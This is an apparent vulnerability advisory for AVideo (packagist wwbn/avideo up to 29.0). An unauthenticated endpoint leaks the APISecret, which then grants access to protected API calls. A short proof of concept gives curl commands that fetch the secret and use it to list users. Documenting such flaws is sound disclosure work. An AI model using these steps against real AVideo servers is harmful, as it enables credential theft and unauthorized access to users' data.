An open API service providing security vulnerability metadata for many open source software ecosystems.

GSA_kwCzR0hTQS14cjQ5LWY0cmgtcWNqZs4ABWN-

High CVSS: 7.7 EPSS: 0.0005% (0.15521 Percentile) EPSS:

AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Affected Packages Affected Versions Fixed Versions
packagist:wwbn/avideo <= 29.0 No known fixed version
0 Dependent packages
0 Dependent repositories
16 Downloads total

Affected Version Ranges

All affected versions

11.1.1, 14.3.1

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints
(e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret.
That secret is accepted by plugin/API/get.json.php as authentication.

PoC

  1. Get plugin config (contains APISecret):
curl 'http://<host>/objects/plugins.json.php'
  1. Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

References: